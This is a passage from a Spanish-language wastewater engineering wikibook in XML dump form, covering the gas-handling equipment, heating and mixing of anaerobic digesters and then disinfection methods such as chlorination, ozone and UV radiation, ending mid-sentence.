La válvula de seguridad y la rompedora de vacío van colocadas sobre la misma tubería, pero cada una trabaja independientemente.

La válvula de seguridad consta de un plato cargado con arandelas de peso calibrado. La combinación de estos pesos junto con el peso del plato debe igualar la presión de gas de proyecto del tanque (normalmente entre 15 y 20 cm de columna de agua). Si la presión de gas en el tanque excede de este límite, la válvula se abrirá y dejará escapar gas durante un par de minutos. Ello debe ocurrir antes de que se rompa el cierre de agua. El cierre de agua se puede romper cuando la alimentación del tanque sea excesiva o cuando la extracción del gas sea demasiado lenta.

La válvula rompedora de vacío funciona de manera idéntica, excepto en que alivia las presiones negativas para evitar el colapso del tanque.

==== Apagallamas. ====

El apagallamas típico es una caja rectangular que contiene aproximadamente de 50 a 100 placas de aluminio corrugado con agujeros taladrados. Si se ocasionara alguna llama en la tubería del gas, se enfriaría por debajo del punto de ignicción al pasar a través de los deflectores, pero el gas podría seguir pasando con poca pérdida de carga.

Para evitar explosiones deben de instalarse apagallamas:

* Entre las válvulas de seguridad y rompedora de vacío y en la cúpula del digestor.

* Después del purgador de sedimentos, en la tubería de gas del digestor.

* En el quemador de gases en el exceso.

* Delante de cada caldera, horno o llama.

==== Válvulas térmicas. ====

Se trata de otro dispositivo de protección instalado cerca de una fuente de llama y cerca de la cúpula de gas. Este tipo de válvulas son redondas, con un plato de cierre unido al accionamiento, por un muelle vástago. El vástago apoya sobre un disco fusible que mantiene el plato unido. Si la llama genera el calor suficiente, el elemento fusible se funde y el muelle acciona el vástago hasta que el plato asienta, para cortar el paso del gas.

==== Separadores de sedimentos. ====

Un separador de sedimentos es un recipiente de 30 a 40 cm de diámetro y 60 a 90 cm de longitud. Está situado, generalmente, en la parte superior del digestor, cerca de la cúpula de gas, y está equipado también con un deflector interior perforado, y un drenaje de condensados cerca del fondo. El gas entra por la parte superior de un lateral del tanque, desciende, atraviesa el deflector, vuelve a subir y sale por la parte superior. La humedad del gas y todos los trozos grandes de incrustaciones quedan retenidos aquí antes de entrar en el sistema de gas.

==== Purgadores de condensado. ====

El gas del digestor está bastante húmedo, y en su recorrido desde el tanque caliente hasta zonas de temperatura más bajas el agua se condensa. Este agua debe recorrerse en los puntos bajos del sistema, ya que de lo contrario impedirá que el gas circule, causará daño en algunos equipos como los compresores, e interferirá en la posterior utilización del gas. Estos purgadores disponen generalmente de una capacidad de un cuarto o medio litro de agua.

==== Medidores de gas. ====

Los medidores de gas pueden ser de diversos tipos, como fuelles, diagramas de flujo en paralelo, molinetes y placas de orificios o presión de diferencial.

==== Manómetros. ====

Los manómetros se instalan en varios puntos del sistema para indicar la presión del gas en centímetros de columna de agua.

==== Reguladores de presión. ====

Se instalan, generalmente, antes y después del quemador de gases en exceso. Estos reguladores suelen ser del tipo diafragma y controlan la presión en todo el sistema de gas del digestor. Están normalmente tarados a 20 cm de columna de agua, ajustando la tensión del muelle sobre el diafragma. Si la presión de gas en el sistema es inferior a 20 cm de columna de agua, no llegará gas al quemador. Cuando la presión del gas alcance los 20 de columna de agua, el regulador se abre ligeramente, dejando que el gas pase al quemador. Si la presión continua aumentando, el regulador se abre aún más para compensar.

Los reguladores de gas están también situados en otros puntos del sistema, para regular la presión de gas en las calderas, calentadores y motores.

==== Almacenamiento del gas. ====

El gas producido en la digestión anaerobia se almacena en gasómetros, bien a presión bien de cubierta flotante.

* Gasómetros a presión. El gas que se produce en el digestor es enviado por medio de compresores a depósitos donde queda almacenado a presión. Posteriormente, es extraido de estos depósitos y enviado a las instalaciones de reutilización o de quemado. La presión de almacenamiento es, aproximadamente, de 3,4 atmósferas, lo que permite disminuir el volumen de gas a una tercera parte de lo que ocupa en el digestor.

* Gasómetros de cubierta flotante. Almacenan el gas variando su altura. En estos gasómetros los gases se mantienen a una presión baja aproximada de 200 mm de columna de agua. Consisten en una campana flotante, similar a la cubierta flotante de un digestor primario. Una serie de ruedas permiten que la cubierta pueda deslizarse libremente hacia arriba o hacia abajo, según la cantidad de gas almacenado. Estas ruedas deslizan sobre unos perfiles de acero que actúan como guías de la campana.

==== Quemador de los gases sobrantes. ====

El quemador de gases se utiliza para eliminar los gases en exceso del sistema de digestión. Va provisto de una llama piloto de quemado continuo, para que cualquier exceso de gas que pase por el regulador se queme. 

===13.4. Muestreador===

El muestreador consiste en una tubería de 8 ó 10 cm de diámetro con una tapa de cierre con bisagras que penetra en el tanque de digestión, a través de la zona de gas, y que está siempre sumergida unos 30 cm en el fango del digestor. Esto permite la toma de muestras del fango del digestor, sin pérdida de presión de gas, y sin crear condiciones peligrosas causadas por la mezcla de aire y gas del digestor.

===13.5. Sistema de calentamiento del digestor===

Un digestor puede funcionar a cualquier temperatura, sin embargo, el tiempo que tarda en completar la digestión es variable y está en relación con ella. A medida que aumenta la temperatura, disminuye el tiempo necesario para que se produzca la estabilización del fango. En general, los digestores modernos funcionan en un rango de temperaturas medias, entre 35 y 37ºC.

Los digestores se pueden calentar de diversos modos, aunque las instalaciones actuales están dotadas, en general, de digestores que se calientan por medio de la recirculación de fangos del digestor a través de un intercambiador exterior de agua caliente. El gas del digestor se usa como combustible en la caldera, cuya temperatura óptima de operación es de 60 a 80ºC. El agua caliente se bombea desde la caldera al intercambiador de calor, donde cede su calor al fango recirculante. En algunos equipos la caldera y el intercambiador de calor están combinados y el fango pasa también a través del equipo.


===13.6. Mezclado del digestor===

El mezclado es muy importante en un digestor. Un buen equipo mezclador acelera en gran manera la digestión, porque consigue los siguientes objetivos:

* Inoculación (introducción de un cultivo biológico) inmediata del influente con microorganismos.

* Prevención de la formación de costras.

* Mantenimiento de la homogeneidad del contenido del tanque, es decir, distribución de alimentos, organismos, alcalinidad, calor y productos bacterianos de desecho.

* Utilización máxima del contenido total del digestor y disminución de sólidos inertes en el fondo.

En los tanques de digestión la agitación o mezcla puede conseguirse bien por recirculación de gas bien por sistemas mecánicos girando a baja velocidad.

==== Mezclado por gas. ====

Este tipo de mezclado es el que se utiliza generalmente en la actualidad. El propio gas extraído del tanque es comprimido y descargado dentro del digestor a través de unos orificios situados varios metros bajo la superficie del fango. El gas, que sube a la superficie a través del fango en digestión, lleva fango con él, creando una recirculación rotativa dentro del tanque.

Los componentes necesarios para el mezclado por gas son tuberías de entrada y descarga de gas, un compresor, y un distribuidor de acero inoxidable dentro del digestor.

==== Mezclado mecánico. ====

Este tipo de mezclado es menos utilizado ya que, en general, presenta problemas de corrosiones y de formación de costras. Además, los consumos energéticos pueden ser elevados en el caso de digestores grandes.


{{navegar
 |libro=Ingeniería de aguas residuales
 |reducido=Si
 |anterior=Destino final de fangos
 |actual=Diseño de procesos en digestión anaerobia
 |siguiente=Desinfección de las aguas residuales
}}

{{AutoCat}}</text>
      <sha1>5its7zmzdxsbtsbq8600dw8nhhxcblm</sha1>
    </revision>
  </page>
  <page>
    <title>Ingeniería de aguas residuales/Desinfección de las aguas residuales</title>
    <ns>0</ns>
    <id>12677</id>
    <revision>
      <id>429971</id>
      <parentid>353980</parentid>
      <timestamp>2026-08-02T09:30:29Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429971</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="32919" sha1="cddrvd20nrg8kvt3jbonqvx4u48h0e1" xml:space="preserve">DESINFECCIÓN DE AGUAS RESIDUALES

==1. INTRODUCCIÓN==

El progreso en el control de las enfermedades ha sido posible cuando se comprendió su causa.

Las bacterias fueron descubiertas en 1680. Alrededor de 1880, algunas investigaciones demostraron que las denominadas '''patógenas''' eran la causa de determinadas enfermedades, comprobándose que muy pequeñas cantidades de determinados productos químicos eran capaces de eliminarlas. De entre éstos, el cloro y sus compuestos se mostraron tan económicos y eficaces que la historia de la desinfección del agua es, esencialmente, la historia de la cloración.

La cloración del agua puede regularse para obtener varios grados de acción:

* Bacteriostática: Inhibe el crecimiento, sin causar la muerte del organismo, como resultado de productos de reacción del cloro, las '''cloraminas'''

* Desinfectante: Destruye los microorganismos que causan infección o enfermedad

* Esterilizante: Cuando, infrecuentemente, el cloro se aplica en tales cantidades que destruye '''todos''' los microorganismos

==2. IMPORTANCIA DE LA DESINFECCIÓN==

Se define como el proceso de destruir microorganismos patógenos mediante procesos físicos y químicos.

Sus objetivos son: prevenir la extensión de la enfermedad y proteger los abastecimientos de agua potable, playas, zonas recreativas y viveros.

==3. TIPOS DE MICROORGANISMOS A ELIMINAR==

Tres principales tipos de microorganismos deben preocuparnos: Bacterias, virus y protozoos.

Las bacterias patógenas ligadas al agua son clasificadas como entero-bacterias


{| border=1 


|'''ENTERO-BACTERIAS'''

|-----------------

|
: Echerichia Coli u otros Coliformes ( algunas diarreas )

: Salmonella typhosa ( fiebre tifoidea )

: Vibrio Cholerae ( cólera )

: Salmonella sp. ( paratíficas, diarreas )

: Shigella sp. ( disentería bacilar)


|-----------------

|'''VIRUS'''

|-----------------

|
: Poliomelitis

: Hepatitis infecciosa

: Echovirus

: Coxsackie virus

: Adeno virus


|-----------------

|'''PROTOZOOS Y OTROS'''

|-----------------

|
: Endamoeba histolytica ( disentería amebiana )

: Microbacterium tuberculosis

: Schistosoma sp.

: Leptospira icterohemosh

: Leishmania so.

: Huevos de gusanos
|}
==4.CONSIDERACIONES ACERCA DEL INDICADOR BACTERIANO==

El principal parámetro para probar la eficacia de la desinfección es la resistencia del organismo indicador.

Para que un grupo de microorganismos sea indicador ideal, debe ocurrir que:

* Debe estar presente en la muestra siempre que lo estén los patógenos, en mayor número y ser más resistentes que aquellos al agente desinfectante.

* Debe estar aleatoriamente distribuido y poderse enumerar mediante un procedimiento simple, rápido y no ambiguo.

* Su crecimiento no debe estar inhibido por la presencia de otros organismos, y su número en el medio acuático no deberá aumentar después de la desinfección.

* No deberá ser patógeno para el hombre.

En opinión de muchos investigadores, el grupo de los coliformes, que es el más utilizado, no da el suficiente margen de seguridad.

La relación entre los coliformes fecales ( CF) y los estreptococos fecales       (EF) de una muestra, puede usarse para demostrar si la contaminación sospechada procede de residuos humanos o animales, ya que:

* para animales domésticos CF/EF &lt; 1

* para seres humanos CF/EF &gt; 4

==5. MÉTODOS DISPONIBLES DE DESINFECCIÓN==

* Agentes químicos

* Agentes físicos

* Medios mecánicos

* Radiación

===5.1 . Agentes químicos===

Entre los agentes químicos que pueden utilizarse, están:

* El cloro y sus compuestos

* El bromo y el cloruro de bromo

* El iodo

* El ozono

===5.2 . AGENTES FÍSICOS===

i) '''El calor''': No es un medio factible, debido a su elevado coste de aplicación a grandes cantidades de A.R.. En cambio se emplea para la pasteurización del fango.

ii) '''La Luz solar''': La luz solar es un buen desinfectante, pudiéndose utilizar, en especial, la radiación ultravioleta.

iii) '''La radiación UV''': Tienen un efecto esterilizante. Se producen con lámparas especiales de vapor de mercurio. Tienen muy poca penetración y, en el caso de las A.R., la acción letal sólo puede ejercerse a través de unos pocos milímetros, debido a los Sólidos en Suspensión (SS) y turbidez. Su uso estaba limitado para aguas de la más alta calidad, tanto potables como efluentes residuales terciarios, aunque desde los años 80 se ha ampliado su campo de acción a los efluentes secundarios de EDARs.

===5.3 . Medios mecánicos===

Las bacterias pueden también eliminarse por medios mecánicos, durante el tratamientos del A.R.

===5.4 . Radiación===

Dentro de la radiación electromagnética se han utilizado, por su poder de penetración, los rayos gamma para desinfectar ( esterilizar) las A.R.

Tienen gran poder de penetración y pueden ocasionar efectos beneficiosos adicionales en tratamientos terciarios, por alterar las moléculas orgánicas e inorgánicas. La fuente idónea es el Cobalto-60. Debido al alto coste de la energía de radiación, no es competitivo como proceso de desinfección de A.R.

Se han conseguido 5-6 órdenes de inactivación con 5 min. de tiempo de exposición.

* Ventajas: Confianza, efectos colaterales beneficiosos, sin efectos residuales

* Inconvenientes: Seguridad, coste excesivo, falta de experiencia

===5.5 . Costes comparativos===

El método que predomine será aquel que:

* Realice bien el trabajo 

* Tenga los mínimos riesgos para la salud y seguridad

* Sea fácil de aplicar, medir y controlar

* Los equipos sean fáciles de operar

De acuerdo con estos aspectos, la cloración parece que será por algún tiempo, el método más popular para la desinfección de las A.R.

==6. CINÉTICA DE LA ACCIÓN GERMICIDA==

Los microorganismos patógenos encontrados en el agua tienden a presentarse como '''organismos individuales'''. Por tanto, los principios aplicables a la desinfección del agua son los que se refieren a la desvitalización de '''células individuales'''.

Los '''agentes oxidantes''' inhiben la actividad enzimática o destruyen la pared de las células; '''el calor y la radiación''' alteran la Naturaleza coloidal del protoplasma y l'''os rayos UV''' producen alteraciones en el ADN, evitando su multiplicación

===6.1 . Modos de la acción germicida===

La acción germicida es una acción definida entre un número pequeño de partículas del producto utilizado y un centro vital considerado como una unidad molecular. Puede, por tanto, ser tratada como un proceso dinámico, dependiente del tiempo, con una reacción química. Según esto, el grado de eliminación de microorganismos dependerá de:

* La naturaleza del organismo a desvitalizar

* La naturaleza del producto letal

* La concentración o intensidad del producto

* El tiempo de contacto

* La temperatura

* La naturaleza del medio

* El pH y otros

===6.2 . Ley de CHICK===

Fue la primera descripción matemática válida de la velocidad de la acción germicida (1908). Viene dada por la ecuación:

dN/dt = -Kc C N

dN/dt = Velocidad de eliminación: variación del número de organismos viables, N, con el tiempo

Kc = Factor de proporcionalidad que varía con la concentración del desinfectante, la temperatura y otros factores, siendo independiente del número de microorganismos y del tiempo.

C = Dosis del desinfectante

N = Concentración de microorganismos

La ley tiene la forma de una reacción química de primer orden:

siendo:

N&lt;sub&gt;o&lt;/sub&gt; =  Concentración inicial

N&lt;sub&gt;t&lt;/sub&gt; = concentración de microorganismos supervivientes al cabo del tiempo t

A menudo conviene expresar la eficacia de la acción germicida en función del tiempo necesario para matar o desvitalizar una determinada fracción del número inicial de microorganismos.

Por ejemplo:

t&lt;sub&gt;50&lt;/sub&gt; (vida media), tiempo para eliminar el 50%

análogamente:

El porcentaje de la muerte  viene dado por el número de nueves igual al número de unidades t&lt;sub&gt;90&lt;/sub&gt; y la fracción de supervivientes por 10^(&lt;sup&gt;-t&lt;/sup&gt;/t&lt;sub&gt;90)&lt;/sub&gt;. Así, si el tiempo de reacción es 6*t&lt;sub&gt;90&lt;/sub&gt;, se tendría:

% eliminados: 99,9999%

% supervivientes: 10&lt;sup&gt;-6&lt;/sup&gt;

Según esta ley no podría haber una destrucción completa de microorganismos en un tiempo finito, independientemente del valor de Kc. Esto no plantea problemas ya que la sensibilidad de los métodos de laboratorio impide discriminar entre cero (0) y una pequeña fracción. La ambigüedad de una completa destrucción mediante la desinfección está explícitamente reconocida en el ensayo de coliformes ( N.M.P.)

===6.3 . Validez de la ley de CHICK===

Se han de cumplir dos aspectos de la ecuación, uno ligado con la forma diferencial y otro con la integrada.

* La primera condición que debe cumplirse experimentalmente es que: la pendiente inicial de la representación gráfica de  log N en función del tiempo debería ser independiente de la concentración inicial de microorganismos Este aspecto es generalmente válido

* La otra comprobación principal se refiere al desarrollo a lo largo del tiempo

La representación de los datos experimentales debería ser una recta. Sin embargo en el caso de productos químicos desinfectantes, especialmente en los fuertemente oxidantes ( ozono y cloro ), existen desviaciones a sensibles de la linealidad teórica.

Sin embargo, aunque el proceso de desinfección, en ciertos casos, no sigue la Ley de Chick, es posible utilizarla con el objeto de establecer parámetros útiles acerca de la eficacia de los germicidas.

===6.4  Efectos a considerar===

a) '''Concentración del desinfectante'''

(FALTA ECUACIÓN)

siendo

alfa = constante para cada gemicida

c = concentración

n = Coeficiente de dilución

si n &gt; 1, La eficacia depende principalmente de la concentración

si n &lt; 1, la eficacia depende principalmente del tiempo de contacto

generalmente, n = 0.8 - 1.2

b) '''Efecto de la Temperatura'''

(FALTA ECUACIÓN

siendo

A = Constante independiente de la temperatura

E = Energía de activación (cal ó Kcal)

T = Temperatura en K

R = Constante de los gases (cal ó Kcal)

c) '''Efecto del pH'''

Existen tres razones fundamentales para los efectos observados del pH:

:i) Efectos letales de las reacciones ácidas y básicas:

::pH &lt; 4 letal para enterobacterias

::pH &gt; 10 letal para enterobacterias y virus

:ii) Cambios físico-químicos en la forma o composición del desinfectante añadido.

:iii) Cambios en el carácter del organismo, que lo hacen más sensible o resistente al agente desinfectante añadido

==7. AGENTES MAS UTILIZADOS EN DESINFECCIÓN DE AGUAS RESIDUALES==

===7.1 . Cloración===

:a) '''Cloro gas''' 

::· '''Características físicas del cloro'''

* El Cloro se encuentra en la Naturaleza únicamente en combinación, principalmente con NaCl.

* Es un gas amarillo-verdoso, fácilmente compresible a líquido ámbar

* A 1 Atm, solidifica a -65.6 ºC y cristaliza como hidrato Cl&lt;sub&gt;2&lt;/sub&gt;·H&lt;sub&gt;2&lt;/sub&gt;O por debajo de 9.6 ºC

* Es 2½ veces más pesado que el aire, en estado gaseoso y 1½ veces más que el agua, en estado líquido

* Siempre que no esté comprimido se vaporiza a gas

( 1 Vol. líquido   450 Vol.gas ; 1 Kg   0.31 m&lt;sup&gt;3&lt;/sup&gt; )

* En un contenedor está completamente líquido a 67 ºC

* Es sólo ligeramente soluble en agua, con un máximo a 1 Atm. De 1% a 9.6 ºC. A 100 ºC y 1 atm. es insoluble

::'''· Química del cloro'''

Para todas las condiciones normales de cloración de un agua, la hidrólisis del cloro es '''esencialmente completa''' con generalmente menos de una parte de cloro activo por cada 10&lt;sup&gt;4&lt;/sup&gt; como ClOH.

El cloro como tal, al disolverlo en agua, tiene muy  poco tiempo para reaccionar antes de que se hidrolice.

En solución ácida, la ionización es muy pequeña pero a ph = 7.5 y 29 ºC la   ClOH       ClO&lt;sup&gt;- &lt;/sup&gt;  y a pH = 9.5 hay 98 iones ClO&lt;sup&gt;-&lt;/sup&gt; por cada molécula de ClOH

Se llama '''Cloro Libre Total''' a la suma 

T =   [ClOH]   +   [ClO&lt;sup&gt;-&lt;/sup&gt;]  

La eficacia germicida del cloro depende principalmente del ClOH presente. A 20 ºC se puede esperar que la eficacia de una concentración determinada de cloro libre sea la mitad a pH 7.5 que a pH 6

Se necesitan 5.5 veces más de cloro libre total a pH 8.5 que a pH 7.5 ( 10/1.98 ), para dar el mismo grado de actividad germicida, a 20 ºC.

* Componentes del A.R. que afectan a la cloración:

* Materias Inorgánicas reductoras ( SH&lt;sub&gt;2&lt;/sub&gt;, SO&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;2-&lt;/sup&gt;, NO&lt;sub&gt;2&lt;/sub&gt;&lt;sup&gt;-&lt;/sup&gt;, Fe&lt;sup&gt;2+&lt;/sup&gt;, Mn&lt;sup&gt;2+&lt;/sup&gt; ). Son agentes reductores solubles que consumen oxígeno, pudiendo estar asociados a condiciones sépticas. Estos compuestos consumen el cloro de las soluciones de ácido hipocloroso. Estas reacciones son inmediatas y el Cloro libre disponible sólo permanecerá fracciones de segundo en el agua, reduciéndose el ClOH a ión Cl&lt;sup&gt;-&lt;/sup&gt;, estable y no bactericida. Esta demanda inmediata de cloro, proporcional a la cantidad de sustancias reductoras presentes, oscila entre 5 (A.R.fresca)-100mg/l (A.R.séptica)

* Reacciones con amoníaco y aminas: Las A.R. contienen cantidades apreciables de N amoniacal, coexistiendo el NH3 disuelto con su ión. La principal fuente de NH3 es la UREA. El ClOH y el NH3, al reaccionar forman las cloraminas. El grado en que se forman depende del pH, Tª, tiempo y cantidad de reactivos. En general, pH bajos y relaciones Cl2/NH3 altas favorecen la formación de dicloroaminas, mucho más eficaz como germicida que la monocloroamina.

Se llama '''Cloro Combinado disponible''' al que está en combinación con el NH3 ó compuestos orgánicos del N

* Reacciones con bacterias y otros organismos:

El objetivo principal de la cloración es la desinfección, siendo todavía aceptado el NMP de coliformes como índice de su eficacia. El grado de destrucción de coliformes requerido, y la dosis de cloro, están influidos por las características del cauce receptor y el uso posterior.

* Resistencia de los microorganismos a la cloración.

La cloración '''no destruye''' completamente los bacilos de la tuberculosis o huevos de gusanos, siendo aconsejable otros medios ( coagulación + filtración).

En cuanto a los virus, su inactivación depende de:

* La cantidad y tipo de cloro residual ( libre o combinando) 

* Temperatura, pH, y tiempo de contacto.

* Número y tipo de virus presentes.

* Presencia de sustancias protectoras.

El número de virus en el efluente, antes de la cloración depende del número inicial y tipo de tratamiento del A.R. 

En cuanto a la inactivación, con Cloro libre es más rápida que con Cloro combinado

* Factores que afectan a la desinfección con cloro:

* El ácido hipocloroso, al contrario que el ClO&lt;sup&gt;-&lt;/sup&gt; es un desinfectante estraordinariamente potente. Ambas formas están en equilibrio, dependiente del pH, con concentración iguales a pH 7.5 y 25 ºC. Por tanto, al añadir una solución acuosa de cloro al A.R., la forma dominante a pH= 6.5-7.5 sería ClOH. Pero al ser extremadamente activo, reacciona inmediatamente para producir formas combinadas de cloro, no persistiendo en el A.R. salvo que se practique el “break-point”

* Prácticamente todos los efluentes de A.R. contienen NH3 por lo que el grueso del Cloro añadido se convertirá en monocloroamina o productos de adición, de menor porder germicida

* En adición, el ClOH se combina con aminoácidos, materias proteínicas y materia orgánica, dando lugar a compuestos de bajo poder desinfectante

* Reacciona con iones sulfito, sulfuro, nitritos, ferrosos y manganosos, produciendo compuestos sin actividad germicida

''' Consideraciones prácticas:'''

La dosis de cloro necesaria variará con la calidad del efluente a tratar. La dosis seleccionada C ( mg/l), en combinación con el tiempo de contacto, t, dará la reducción de coliformes deseada, según

N/No = ( 1 + 0.23*C*t)&lt;sup&gt;-3&lt;/sup&gt;

Se aportan datos orientativos de diseño, para A.R. domésticas con sólo 1-2% de aguas industriales:

* Efluente primario  18-25 mg/l Cl&lt;sub&gt;2&lt;/sub&gt;

* Efluente 2º: Lechos bacterianos 15

* Fangos activados	 6-12

* Efluente 2º + lagunas:  6

* Efluente 3º ( sin nitrificación): 4-5

''' Suministro y manejo:'''

* Botellas: 50 y 100 Kg de Cl2

* Contenedores: 500 y 1000 Kg de Cl2

* Cisternas, para carga de depósitos fijos

La capacidad de vaporización del cloro de los recipientes, llenados al 83-85% con Cloro líquido, oscila entre el 1-1.5% de su capacidad en Kg/h, lo que obligará, según necesidades, a conectar varios en paralelo. Por ej. para consumos del orden de 700 Kg/d, debe haber:

* 4 contenedores de 1000 Kg en servicio

* 4 de reserva

* espacio para nuevo suministro. 

Para cantidades mayores, es lógico cambiar a extracción de Cloro líquido, lo que requiere el uso de evaporadores. Los recipientes deben estar a una temperatura menor o igual a la temperatura de la instalación.

Para mantener el suministro continuo de Cloro, es fundamental y deseable:

* Una adecuada reserva de Cloro

* Disponer de básculas para los contenedores

* Un sistema de interconexión apropiado

* Un intercambiador automático

''' Control de la cloración'''

* Manual: impracticable por la irregular demanda de Cloro del A.R. junto con las variaciones de caudal durante el día

* Semiautomática: Iniciándose o desactivándose la inyección de la solución acuosa mediante controles eléctricos o hidráulicos

* Automática: Siendo el caudal de la solución clorada proporcional al caudal de agua a tratar.

Para poder mantener una concentración de Cloro residual constante, con una demanda variable, es imprescindible el '''control combinado''' en función del caudal de A.R. a tratar y del Cloro residual en el Agua tratada. Dado que es imperativo que el suministro de Cloro se controlado, en proporción al caudal, la capacidad del clorador está unívocamente ligada a la del ''' medidor de caudal'''.

El método más eficaz de control de la cloración es el sistema de '''Lazo compuesto''', por el que se envían dos señales independientes y separadas al clorador.

''' Materiales: '''

El cloro líquido deba almacenarse siempre en recipientes de acero al carbono y ser conducido por tuberías, sin soldaduras, de este material. El Cloro líquido se inflama espontáneamente y mantiene la combustión con el acero al carbono a 250 ºC. Ataca y disuelve al PVC a temperatura ambiente, por lo que éste no debe utilizarse en el sistema de cloro líquido o donde puedan existir las dos fases, ni tampoco cuando el cloro gas esté a una presión superior a la atmosférica, ya que este material acaba haciéndose poroso.

Al llegar el Cloro al eyector del clorador y entrar en contacto con el agua, forma ClOH y HCl, dando una solución de bajo pH, altamente corrosiva, por lo que, a partir de aquél, las tuberías y difusores deben ser de PVC o acero ebonitado.

El objetivo principal de la cámara de contacto es el suministrar el tiempo de detención necesario para que los compuestos de cloro reduzcan las bacterias a niveles aceptables. El tiempo de contacto no debe rebajar de los 15 min., bajo ninguna circunstancia.

La relación Longitud / anchura debe ser mayor de 10 y siendo mayor de 40 se obtendrá una distribución de tiempos de contacto cercanos a los de flujo pistón.

'''' Dados los peligros que entraña al Cloro para la salud humana, es imprescindible detectar fugas y neutralizarlas.  ''''

La O.M. 1/3/84 (BOE 9/3/84) es de obligado cumplimiento en todo lo referente al almacenamiento de Cloro.

===7.2 . Hipoclorito sódico===

Al disolver un hipoclorito en agua se ioniza:

Los iones suministrados reaccionan con los hidrogeniones del agua dando una solución acuosa cuya concentración respecto al ClOH es exactamente la misma, para pH y temperatura dados, si se utiliza Cloro gas ó hipoclorito

La única diferencia es que la hidrólisis del Cloro gas da H&lt;sup&gt;+&lt;/sup&gt;, bajando el pH, mientras que los hipocloritos consumen H&lt;sup&gt;+&lt;/sup&gt; y suben el pH. Con pocos mg/l, el efecto en el pH es tan pequeño que ambos exhiben la misma actividad germicida. A mayores dosis ( &gt;10 mg/l ), la producción y absorción de H&lt;sup&gt;+&lt;/sup&gt; será lo suficientemente grande como para encontrar una diferencia medible en el pH de las soluciones finales, y la actividad germicida será la misma únicamente si se añade ácido o base para igualar los pH de la solución.

El peligro potencial del almacenamiento, uso y transporte de grandes cantidades de Cloro líquido,, ha resultado en la consideración del hipoclorito como forma alternativa del Cloro. 

El cloro gas es claramente la alternativa para grandes instalaciones, Los hipocloritos son más caros, pierden su contenido en cloro disponible durante su almacenamiento y pueden ser difíciles de manejar.

El hipoclorito sódico es, de todos los posibles, el aconsejado. El equipo para solución acuosa de hipoclorito cálcico sería apropiado para dosificar una solución de hipoclorito sódico y, con éste, no hay problemas de formación de fangos

''' Propiedades:'''

* El hipoclorito sódico es sensible a la luz, debiendo almacenarse en zonas secas, frescas y oscuras

* Se recomienda el uso de hipoclorito con el 10-15% de Cloro disponible

* Es fuertemente alcalino y debe tenerse cuidado al manejarlo.

* La solución acuosa es extremadamente corrosiva

* Dosificación y control  

El control puede hacerse proporcional al caudal, enviando la señal del medidor de caudal, bien a una válvula reguladora, si se utiliza en eductor o bomba centrífuga, o bien al posicionador de la bomba membrana. También se puede combinar la señal del medidor de caudal con la del analizador, mediante un  sumador. El control de lazo compuesto, utilizando las dos señales independientemente, sólo es posible con bombas de membrana que pueden recibir señales para el rectificador del motor y para el posicionador.

==8. OZONIZACIÓN==

'''· Propiedades:'''

* Es un gas azul pálido de '''olor''' característico

* Es tóxico y corrosivo

* Es uno de los agentes oxidantes más fuertes que existen

* La solubilidad en agua es sólo de 570 mg/l ( 12 veces menos que el Cl)

'''· Química:'''

El Ozono se forma por disociación del Oxígeno en oxígeno atómico. Dado que la disociación del Oxígeno implica la rotura del enlace fuerte O-O, se requiere una gran cantidad de energía.

La tercera reacción limita la concentración de Ozono que puede producirse económicamente, mediante el sistema convencional, al 1% en peso cuando se utiliza aire y, al 2% cuando se utiliza Oxígeno.

'''· Consideraciones de diseño:'''

* La eficacia del O&lt;sub&gt;3&lt;/sub&gt; como desinfectante es relativamente independiente del pH y temperatura, aunque parece que el rango más favorable está entre 6-7. 

* La vida media del O&lt;sub&gt;3&lt;/sub&gt; es sólo 20 min. por lo que es necesario suministrarlo escalonadamente para conseguir el tiempo de contacto necesario para la desinfección

* Para A.R. es necesario como mínimo una dosis de 5-8 mg/l (NMP= 100/100ml). La dosis puede determinarse empíricamente:

O&lt;sub&gt;3&lt;/sub&gt; (mg/l) = 1.5 + 0.38*TSS

Donde TSS son los SS del efluente secundario y el tiempo de contacto es de 10 min.

'''· Sistemas de desinfección:  '''

(FALTA FIGURA ESQUEMA)

* Sistema de alimentación con O&lt;sub&gt;2&lt;/sub&gt;: Es el más simple y económico, y el de mayores aplicaciones comerciales. El esquema del proceso es G-D-E-F, pudiendo el O&lt;sub&gt;2&lt;/sub&gt; resultante del destructor de ozono ser utilizado para alimentar una planta de Fangos Activados.

El consumo energético es del orden de 7.5-8 Kwh/Kg O&lt;sub&gt;3&lt;/sub&gt;

* Sistema con recirculación de O&lt;sub&gt;2&lt;/sub&gt;: G-D-E-F-A-B-C.  El gas, rico en Oxígeno, es recirculado al compresor A y refrigerador B,para su desecación y limpieza, antes de volver al generador de ozono. A intervalos, el gas es recirculado es purgado  ( CO&lt;sub&gt;2&lt;/sub&gt; y N&lt;sub&gt;2&lt;/sub&gt; ) y se añade O&lt;sub&gt;2&lt;/sub&gt; para mantener la concentración en el mismo.

* Sistema de alimentación con aire: A-B-C-D-E-F. Este sistema descarga a la atmósfera. Su elección es puramente económica (Coste de E, eficiencia del generador de  ozono, costes de suministro de aire y oxígeno y, tamaño de la instalación). El consumo energético es del orden de 15-16 Kwh/Kg O&lt;sub&gt;3&lt;/sub&gt;

Este sistema puede ser el indicado para capacidades de ozonización de hasta 450 Kg O&lt;sub&gt;3&lt;/sub&gt;/d. Junto con el anterior, es el mejor para el sistema de fangos Activados.

La '''Mezcla''' supone el transferir un máximo de ozono de la fase gas a la líquida. Es fundamental el producir burbujas finas, la máxima turbulencia y elevada diferencia de concentración de ozono ( gradiente) entre ambas fases. Los mejores rendimientos obtenidos se acercan al 90%. En la se muestra el esquema de una cámara de contacto con difusores de burbuja fina.

==9. RAYOS ULTRAVIOLETAS==

===9.1 . Propiedades===

El rango de radiaciones UV, y de las correspondientes ondas electromagnéticas, puede subdividirse, de acuerdo con sus efectos biológicos, ) siendo la comprendida en el rango de corta longitud ( UV-C ), entre 200-280 nm, la que tiene efecto germicida.

La razón de este efecto es que los r-UV originan cambios químicos en el ADN de los microorganismos  La radiación o dosis, D, se calcula multiplicando la Intensidad de la Radiación por el Tiempo de Exposición

D = I * 10t  (microWs/cm&lt;sup&gt;2&lt;/sup&gt;)

Existe una relación exponencial entre la dosis y el número de microorganismos no inactivados N, del tipo 

N = No * e&lt;sup&gt;- kD&lt;/sup&gt;   ( Ley de Chick )

Donde No es el número inicial de microorganismos.

Esto implica que

